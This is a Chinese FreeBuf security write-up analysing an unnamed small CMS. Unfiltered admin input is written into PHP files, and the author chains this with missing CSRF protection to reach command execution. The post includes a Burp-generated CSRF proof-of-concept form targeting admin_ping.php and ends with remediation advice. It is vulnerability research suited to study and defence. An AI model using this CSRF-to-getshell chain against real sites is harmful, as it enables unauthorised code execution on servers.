freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

某CMS从CSRF到Getshell 金币
2020-06-30 22:02:55

写在前:

最近准备看一下代码执行相关漏洞,日常逛cnvd时发现一个和代码执行有关的漏洞如下图所示。

image.png

看了一眼这个漏洞的简介这个是一个比较小众的CMS,加之这个马赛克,这明显是疯狂暗示去分析一下这个漏洞。

环境搭建:

我使用的是该cms1.0 +ache2.4.39+PHP Version 5.6.9,该cms只能使用php5.x,不支持最新版的PHP。

傻瓜式安装,安装成功之后入下图所示。

image.png

在CNVD的漏洞详情里明确说是后台的漏洞,所以我们直接查看后台的代码。根据神打码的提示,定位到相关的文件

image.png

该文件内容很少,漏洞也相当明显。

一开始注意到了这里插入了php代码,没有过滤。

image.png

然后去查了一下php echo函数后怎么执行代码

image.png

不过好像并没有找到echo函数执行代码的方式。返回去上面重新看一下代码,发现这里将用户的输入写入了一个文件中。

image.png

前台输入之后

image.png

找到Ping.php文件,发现直接写入了一个没有任何权限校验的文件中。不过漏洞有些鸡肋就是输入点在后台。

image.png

 

可以尝试结合一下其他的漏洞使得这个漏洞的可用性提高。翻了一下整个源码,发现这个系统并没有防止CSRF漏洞的措施,我们可以CSRF来组合利用。

构造一个CSRF界面

<html>

 <!-- CSRF PoC - generated by Burp Suite Professional -->

 <body>

 <script>history.pushState('', '', '/')</script>

   <formaction="http://www.test.com/sea/72vlt3/admin_ping.php?action=set"method="POST">

     <input type="hidden" name="weburl"value="&#63;&gt;&#59;1" />

     <input type="hidden" name="token"value="123456789" />

     <input type="submit" value="Submit request" />

   </form>

 </body>

</html>

image.png

可以成功触发

image.png

插入payload,可以在未授权的情况下直接命令执行。

image.png

 

延伸一下,其实这个问题属于全局性的。另两个点

image.png

这里同样直接将用户的输入直接保存到了没有任何权限校验的文件中。

image.png

image.png

 

image.png修复建议:

1,在数据包中添加随机token,防止CSRF漏洞的发生,这样在一定程度上可以降低风险。

2,前端用户的输入内容不要输入到文件中,使用数据库进行保存。

3,其实这一种方法比较“偷懒”,将生成的文件以随机字符串的方式命名,并且以txt后缀名结尾。

本文作者:, 转载请注明来自FreeBuf.COM

# 系统安全 # 系统安全
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按时间排序

登录/注册后在FreeBuf发布内容哦

相关推荐
  • 0 文章数
  • 0 评论数
  • 0 关注者
登录 / 注册后在FreeBuf发布内容哦
收入专辑